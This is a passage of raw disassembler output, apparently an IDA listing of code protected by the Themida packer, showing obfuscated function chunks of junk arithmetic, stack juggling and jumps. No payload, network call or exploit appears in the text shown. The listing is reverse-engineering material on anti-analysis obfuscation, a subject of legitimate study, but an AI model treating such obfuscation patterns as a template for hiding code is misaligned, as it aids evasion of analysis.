mov edi, ebp
jmp loc_565DFA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565CEF
loc_56E83D: ; CODE XREF: sub_565CEF-186Cj
sub edx, ecx
jmp loc_561185
; END OF FUNCTION CHUNK FOR sub_565CEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E844: ; CODE XREF: sub_56755A-2B48j
push esp
jmp loc_567606
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E84A: ; CODE XREF: Themida_:0056B105j
push esp
push dword ptr [esp]
jmp loc_5695A5
; ---------------------------------------------------------------------------
loc_56E853: ; CODE XREF: Themida_:00566E2Cj
xchg ebx, [esp]
pop esp
jmp loc_56DDF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E85C: ; CODE XREF: sub_56755A-128Ej
mov edi, [esp-4+arg_0]
push ecx
jmp loc_55CF82
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56E865: ; CODE XREF: sub_56F7FC-C411j
mov eax, 1CAA5205h
mov ebx, 0F27A0A92h
jmp loc_568F21
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56E874: ; CODE XREF: Themida_:00560213j
mov dh, al
pop eax
pop ecx
push ebx
mov bl, 17h
jmp loc_56C046
; ---------------------------------------------------------------------------
loc_56E880: ; CODE XREF: Themida_:0055CD2Ej
pop esi
sub ebp, edi
add ebp, 29BA4ACAh
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56E7D4
; =============== S U B R O U T I N E =======================================
sub_56E89A proc near ; CODE XREF: sub_56F7FC-EB30j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B980 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055C074 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055CAC5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055CB01 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055D20A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055D587 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055D6CF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0055E110 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055E349 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055E9C6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055EF4A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055F3FE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055FAFA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055FE3C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055FE57 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005607CA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560CA4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00560DFC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560E66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561930 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562337 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562859 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00562B15 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562D9F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562F11 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056333A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563933 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563F71 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005640A5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00564917 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00564CD2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005659E2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565C5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00568E56 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056913F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00569801 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00569827 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056A430 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A676 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A993 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056ACB9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056B2D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056B6A7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C315 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C6AF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C985 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CFE5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056E63F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E6DF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056EF3F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F053 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F28F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F86E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FD23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005705E9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570613 SIZE 00000014 BYTES
push ebx
mov ebx, 1
push ecx
mov ecx, ebx
push 5CFDh
mov [esp+0Ch+var_C], ecx
push [esp+0Ch+var_C]
mov eax, [esp+10h+var_10]
jmp loc_5705E9
sub_56E89A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E8B6: ; CODE XREF: sub_56755A-7008j
add esp, 4
push esi
mov esi, 234D600Bh
sub esi, 234D6007h
add edx, esi
pop esi
jmp sub_561BE4
; ---------------------------------------------------------------------------
loc_56E8D0: ; CODE XREF: sub_56755A+55j
pop ecx
jmp loc_55F8E7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E8D6: ; CODE XREF: Themida_:00569E51j
mov ch, al
mov bh, ch
pop ecx
mov ch, bh
pop ebx
mov eax, [esp]
jmp loc_569D0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_56E8E6: ; CODE XREF: sub_56026A+6981j
push 6C4Ch
mov [esp+0Ch+var_C], edi
jmp loc_55FB60
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E8F3: ; CODE XREF: sub_56755A+3188j
mov ecx, esp
push edi
jmp loc_56EE56
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
xor [esp], si
xor si, [esp]
xor [esp], si
xor si, bp
xor bp, si
xor si, bp
push ecx
mov ecx, esp
push esi
mov esi, 13E537E1h
shr esi, 7
neg esi
and esi, 36091A02h
add esi, 0C9F7F004h
add ecx, esi
pop esi
jmp loc_5683CE
; ---------------------------------------------------------------------------
loc_56E932: ; CODE XREF: Themida_:00561784j
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push edi
push eax
mov eax, 2D410958h
and eax, 608F7A37h
xchg eax, esi
jmp loc_55B7D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_56E95B: ; CODE XREF: sub_5636A9+4D94j
pop bx
neg ah
xor ah, 33h
add ah, 5Eh
add bl, 0C2h
sub bl, ah
sub bl, 0C2h
jmp loc_56CB35
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E972: ; CODE XREF: sub_56755A-1F7Aj
mov esi, 1
add ebx, esi
mov esi, [esp+14h+var_14]
add esp, 4
neg ebx
dec ebx
not ebx
xor ebx, 65B5B849h
add eax, ebx
jmp loc_55DD8F
; ---------------------------------------------------------------------------
loc_56E994: ; CODE XREF: sub_56755A+68CFj
push [esp+12h+var_14+2]
mov esi, [esp+16h+var_18+2]
add esp, 4
jmp loc_569FCE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E9A2: ; CODE XREF: Themida_:00560CEFj
mov [esp], ebx
mov ebx, 25EC35DDh
push ebp
mov ebp, 773A047Ch
xor ebx, ebp
pop ebp
jmp loc_55C2CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E9B8: ; CODE XREF: sub_56755A-BA26j
mov esi, [esp+10h+var_10]
add esp, 4
mov edx, [esp+0Ch+var_C]
jmp loc_55DC70
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E9C9: ; CODE XREF: Themida_:00562258j
push edi
jmp loc_57007C
; ---------------------------------------------------------------------------
loc_56E9CF: ; CODE XREF: Themida_:0056BF08j
xor ebx, [esp]
pop esp
push 7FEBh
jmp loc_55E15A
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_55E31C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AC81
loc_56E9E5: ; CODE XREF: sub_56AC81-8FDFj
push ecx
jmp loc_5640C5
; END OF FUNCTION CHUNK FOR sub_56AC81
; ---------------------------------------------------------------------------
loc_56E9EB: ; CODE XREF: Themida_:0056C223j
add ebx, 4
xchg ebx, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
jmp loc_565E46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEE9
loc_56EA00: ; CODE XREF: sub_56CEE9-109ECj
pop esi
push ebp
mov ebp, edx
mov esi, ebp
jmp loc_567D31
; END OF FUNCTION CHUNK FOR sub_56CEE9
; ---------------------------------------------------------------------------
loc_56EA0B: ; CODE XREF: Themida_:0056E677j
sub edi, 2B3E4C72h
add edi, ebp
jmp loc_5606F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EA18: ; CODE XREF: sub_56755A-976Aj
sub esi, 25E23890h
jmp loc_56504B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EA23: ; CODE XREF: Themida_:0055D931j
pop eax
xchg edi, [esp]
pop esp
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_56B59F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_56EA4D: ; CODE XREF: sub_56C86A-AF91j
push esp
pop ebx
jmp sub_568D4B
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_56395F
; ---------------------------------------------------------------------------
loc_56EA5C: ; CODE XREF: Themida_:0055C9CEj
xor ebx, [esp]
xor [esp], ebx
jmp loc_5646D8
; ---------------------------------------------------------------------------
loc_56EA67: ; CODE XREF: Themida_:005643A5j
push esi
push esp
pop esi
jmp loc_56B97D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56EA6F: ; CODE XREF: sub_55CD7B+E451j
mov edx, 391A2084h
neg edx
sub edx, 3C345F57h
and edx, 346161B9h
add edx, 73D26C46h
add edx, 8C0C939Dh
mov esi, edx
pop edx
jmp loc_567E73
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_56EA96: ; CODE XREF: sub_561ED8+CDACj
mov al, 0ADh
or dh, al
pop ax
dec dh
sub esp, 4
jmp loc_55BD92
; END OF FUNCTION CHUNK FOR sub_561ED8
; =============== S U B R O U T I N E =======================================
sub_56EAA9 proc near ; CODE XREF: sub_56755A-A01Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055B85E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055B925 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055BD76 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C7A6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056750C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568CF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056D3DE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056EAFD SIZE 0000000C BYTES
push ebx
mov ebx, 110A63AAh
inc ebx
jmp loc_56D3DE
sub_56EAA9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56EAB5: ; CODE XREF: Themida_:0056B998j
mov esi, 60B92E22h
push edi
mov edi, esi
push esi
jmp loc_560AE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EAC3: ; CODE XREF: sub_56755A-4551j
push ecx
jmp loc_5650E4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EAC9: ; CODE XREF: Themida_:0056163Bj
mov edx, 73AC023Bh
jmp loc_56CE61
; ---------------------------------------------------------------------------
loc_56EAD3: ; CODE XREF: Themida_:00564FDFj
sub al, cl
pop cx
add al, bl
push ecx
mov ch, 41h
add al, ch
jmp loc_563084
; ---------------------------------------------------------------------------
loc_56EAE3: ; CODE XREF: Themida_:005623AEj
add ecx, edx
jmp loc_562374
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_56EAEA: ; CODE XREF: sub_5615A9+C977j
pop ebx
push 55CFh
mov [esp+0], ebx
push 5E38h
jmp loc_56D480
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EAA9
loc_56EAFD: ; CODE XREF: sub_56EAA9-122F7j
xchg ebp, [esp+0]
pop esp
mov edx, [esp-4+arg_0]
jmp loc_56750C
; END OF FUNCTION CHUNK FOR sub_56EAA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EB09: ; CODE XREF: sub_56755A+4517j
pop eax
sub esp, 4
mov [esp+0Ch+var_C], edx
push 40B4h
mov [esp+10h+var_10], esp
jmp loc_56254F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EB20: ; CODE XREF: Themida_:0056057Cj
mov eax, 7BA33404h
mov edx, eax
jmp loc_56D0E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_56EB2C: ; CODE XREF: sub_562C5D+385Fj
push edx
mov dl, 8Bh
or dl, 0B3h
dec dl
or dl, 30h
add dl, 2Dh
xor dl, 69h
jmp loc_560019
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
loc_56EB42: ; CODE XREF: Themida_:0056468Ej
add ebx, eax
add ebx, 168E6053h
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_560A9C
; ---------------------------------------------------------------------------
loc_56EB67: ; CODE XREF: Themida_:00570366j
mov ecx, edx
mov edx, [esp]
jmp loc_56F313
; ---------------------------------------------------------------------------
loc_56EB71: ; CODE XREF: Themida_:0055F164j
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, edx
jmp loc_56B570
; ---------------------------------------------------------------------------
loc_56EB82: ; CODE XREF: Themida_:0055EF95j
push edi
mov edi, 4
add edx, edi
pop edi
push 3F59h
jmp loc_570125
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EB95: ; CODE XREF: sub_56755A-A40Ej
add esp, 4
jmp sub_5649FE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_56EB9D: ; CODE XREF: sub_563973+316Fj
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp+0], ebx
mov ebx, 43C90F00h
jmp loc_5618DE
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EBBC: ; CODE XREF: sub_56755A+2A77j
sub [esp+6+var_4+2], 67F67560h
add [esp+6+var_4+2], edx
jmp loc_56E4DA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EBCD: ; CODE XREF: Themida_:00570789j
jmp loc_55B555
; =============== S U B R O U T I N E =======================================
sub_56EBD2 proc near ; CODE XREF: sub_56755A+8065j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055EDD8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055F83D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B214 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056D3D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DF33 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_55EDD8
sub_56EBD2 endp
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push edi
jmp loc_566870
; ---------------------------------------------------------------------------
loc_56EBEC: ; CODE XREF: Themida_:005706CBj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_56A8F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56250B
loc_56EC01: ; CODE XREF: sub_56250B+8EDj
push ecx
mov cx, 1BA9h
push edi
jmp loc_56D97F
; END OF FUNCTION CHUNK FOR sub_56250B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EC0C: ; CODE XREF: sub_56755A+8653j
xor ebp, edi
jmp loc_55C69B
; ---------------------------------------------------------------------------
loc_56EC13: ; CODE XREF: sub_56755A+687Ej
sub ch, bl
pop ebx
push eax
mov ah, 0FFh
add ch, ah
pop eax
jmp loc_5608C4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C86A
loc_56EC21: ; CODE XREF: sub_56C86A-1125Fj
push esi
mov esi, 4
add ebp, esi
pop esi
push 1FABh
jmp loc_56655C
; END OF FUNCTION CHUNK FOR sub_56C86A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EC34: ; CODE XREF: sub_56755A+8CA1j
mov esi, [esp+16h+var_18+2]
add esp, 4
push ebx
mov ebx, 4
add esi, ebx
pop ebx
sub esi, 4
push 5691h
mov [esp+16h+var_18+2], esi
push [esp+16h+var_14+2]
pop esi
pop [esp+16h+var_18+2]
mov esp, [esp+12h+var_14+2]
jmp loc_5621F5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C4A
loc_56EC61: ; CODE XREF: sub_565C4A+9927j
mov eax, 63BC53A1h
jmp loc_5654B9
; END OF FUNCTION CHUNK FOR sub_565C4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EC6B: ; CODE XREF: sub_56755A-BD61j
mov [esp+8+var_8], ecx
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EC73: ; CODE XREF: Themida_:0056DCFDj
shl eax, 4
sub eax, 3ECE20B1h
add edx, eax
jmp loc_56B2AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_56EC82: ; CODE XREF: sub_561ED8+7E7Dj
push ax
jmp loc_56EA96
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_56EC89: ; CODE XREF: Themida_:00568430j
push ebx
mov ebx, 385B63C9h
sub edi, 20D66ED6h
sub edi, ebx
push eax
mov eax, 2F644000h
jmp loc_5681BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ECA2: ; CODE XREF: sub_56755A-9888j
add edx, 4
jmp loc_5690C8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56ECAD: ; CODE XREF: Themida_:0056D310j
add ecx, eax
pop eax
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
jmp loc_56F4A6
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
jmp loc_562430
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ECC8: ; CODE XREF: sub_56755A+47Dj
mov ebp, 5FA844E7h
jmp loc_56CB59
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_56ECD2: ; CODE XREF: sub_56CEC8-2FB3j
mov dl, 17h
inc dl
jmp sub_55FE13
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
loc_56ECDB: ; CODE XREF: Themida_:0056D9B2j
push 3097h
mov [esp], ebp
mov ebp, 4
jmp loc_55C65C
; ---------------------------------------------------------------------------
loc_56ECED: ; CODE XREF: Themida_:00570701j
mov esp, [esp]
jmp loc_56F66C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_56ED04: ; CODE XREF: sub_56CEC8+2j
mov cl, 0EAh
jmp loc_56C7BF
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ED0B: ; CODE XREF: sub_56755A-2474j
add ecx, 4
add ecx, 4
jmp loc_56A39C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56ED19: ; CODE XREF: Themida_:0056F30Ej
shr esi, 1
and esi, 6CE3165Bh
add esi, 6132574Dh
push 4834h
mov [esp], ebx
push 27E7h
jmp loc_56FDCF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_56ED39: ; CODE XREF: sub_56D5AE+15j
shr ebx, 3
and ebx, 79443FAEh
add ebx, 0F7FFEF80h
add ebp, ebx
jmp loc_569E9E
; END OF FUNCTION CHUNK FOR sub_56D5AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_56ED4F: ; CODE XREF: sub_56667A-29EBj
add esp, 4
inc edx
jmp loc_569332
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ED5B: ; CODE XREF: sub_56755A+511j
pop ecx
pop ecx
jmp sub_560CAA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56ED62: ; CODE XREF: Themida_:0055F25Bj
mov edi, 91D4414h
not edi
jmp loc_560E53
; ---------------------------------------------------------------------------
loc_56ED6E: ; CODE XREF: Themida_:005654F8j
pop eax
add esi, 430E245Fh
jmp loc_56D76E
; ---------------------------------------------------------------------------
loc_56ED7A: ; CODE XREF: Themida_:005646C3j
xor eax, 4A2D0628h
add eax, 21716F69h
jmp loc_561314
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_56ED89: ; CODE XREF: sub_56F13C-9BD6j
mov ebp, [esp+4+var_4]
add esp, 4
jmp sub_56D5AE
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56ED97: ; CODE XREF: sub_56755A-497Dj
mov eax, [esp+8+var_8]
add esp, 4
shr esi, 2
add esi, 0FDD60CD6h
and eax, esi
jmp loc_56A9D2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56EDB0: ; CODE XREF: Themida_:0055FAF5j
push 3FF6h
mov [esp], eax
mov eax, 160B2563h
jmp loc_56FBB2
; ---------------------------------------------------------------------------
loc_56EDC2: ; CODE XREF: Themida_:00565071j
xor edi, 0F438F314h
add edx, edi
mov edi, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edx
push dword ptr [esp+4]
jmp loc_565770
; ---------------------------------------------------------------------------
loc_56EDEE: ; CODE XREF: Themida_:005604D6j
add ecx, ebx
add ecx, 4FE52B91h
jmp loc_56F386
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_56EDFB: ; CODE XREF: sub_56CB1B-F4CEj
sub edi, ebx
mov ebx, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_561985
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_56EE0E: ; CODE XREF: sub_55FDEF+1043Aj
push edi
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp+8+var_8]
jmp loc_55E8D2
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
lodsb
push ecx
jmp loc_56B6B4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_56EE26 proc near ; CODE XREF: sub_565CEF-4B32j
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 005665D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A04F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C763 SIZE 0000001C BYTES
push ebp
mov ebp, esp
jmp loc_5665D0
sub_56EE26 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_56EE2E: ; CODE XREF: sub_56CEC8-A270j
pop edx
jmp loc_561F7B
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
loc_56EE34: ; CODE XREF: Themida_:0056234Ej
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_565137
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EE40: ; CODE XREF: sub_56755A-7212j
mov edx, ebp
pop ebp
jmp loc_55F89A
; ---------------------------------------------------------------------------
loc_56EE48: ; CODE XREF: sub_56755A-8880j
mov [esp+0Ch+var_C], edx
mov edx, 610900CDh
dec edx
jmp loc_56418C
; ---------------------------------------------------------------------------
loc_56EE56: ; CODE XREF: sub_56755A+739Cj
mov edi, 68D4BA8h
or edi, 20E93604h
sub edi, 6FB823B1h
sub edi, 111C6D69h
inc edi
not edi
add edi, 0A618EE98h
add ecx, edi
pop edi
jmp loc_55CE13
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_56EE7E: ; CODE XREF: sub_565269+475Aj
or eax, 30B37A34h
xor eax, 0DBFE2C23h
mov ebx, eax
pop eax
add ebx, 9E64A25h
add ebx, 8C51C6ABh
xor edx, ebx
pop ebx
jmp loc_56CF50
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
loc_56EE9F: ; CODE XREF: Themida_:0056BC25j
push eax
push edx
jmp loc_5688D8
; ---------------------------------------------------------------------------
loc_56EEA6: ; CODE XREF: Themida_:0056FDFBj
add ebx, 4D443CB4h
jmp loc_560F64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643BC
loc_56EEB1: ; CODE XREF: sub_5643BC+AFC5j
pop edx
inc ebp
neg ebp
xor ebp, 845D3368h
jmp loc_56A3C9
; END OF FUNCTION CHUNK FOR sub_5643BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EEC0: ; CODE XREF: sub_56755A-B9A4j
push edi
mov edi, esp
add edi, 4
jmp loc_55F960
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EA9F
loc_56EECE: ; CODE XREF: sub_55EA9F+20j
or edx, esi
pop esi
add edx, 5CC35FDBh
sub edx, 7576DF56h
mov esi, edx
jmp loc_56671A
; END OF FUNCTION CHUNK FOR sub_55EA9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_56EEE4: ; CODE XREF: sub_55E931+10F2Bj
xor edi, 7AB72B4h
add esi, edi
pop edi
and ecx, esi
push [esp-4+arg_0]
pop esi
add esp, 4
jmp loc_56253C
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56EEFE: ; CODE XREF: sub_566504+3D75j
pop edi
push esi
xor [esp-4+arg_0], esi
xor esi, [esp-4+arg_0]
xor [esp-4+arg_0], esi
xchg ebx, esi
not ebx
jmp loc_55CAD8
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56EF12: ; CODE XREF: sub_56755A-32FFj
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
